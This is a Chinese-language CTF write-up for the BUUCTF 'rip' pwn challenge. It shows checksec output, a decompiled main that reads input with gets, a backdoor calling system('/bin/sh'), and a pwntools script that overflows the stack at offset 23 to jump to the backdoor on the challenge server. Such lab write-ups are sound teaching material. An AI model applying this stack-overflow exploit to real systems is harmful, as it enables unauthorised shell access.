rip

# rip

# 前提

# 查看文件保护

root@localhost ~# checksec pwn1
[*] '/root/pwn1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

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# 静态分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[15]; // [rsp+1h] [rbp-Fh] BYREF

  puts("please input");
  gets(s, argv);
  puts(s);
  puts("ok,bye!!!");
  return 0;
}

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可以明显看到存在溢出函数gets，另外本题存在后门函数fun

int fun()
{
  return system("/bin/sh");
}

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# 思路分析

本题没有开启PIE,可以通过采用栈溢出将原来函数的返回地址覆盖为后门函数的地址，完成劫持程序流获得shell

# 确定偏移量

使用cyclic，简单测试一下即可得知本题偏移量为23

# exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/rip/pwn1'
io = remote('node4.buuoj.cn', 26919)
# io = process(pwnfile)
elf = ELF(pwnfile)
padding = 23
backdoor = 0x40118A
payload = flat(['a'*padding, backdoor])
io.sendline(payload)
io.interactive()

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#buuctf #pwn #StackOverflow

上次更新: 2022/08/15, 00:29:49

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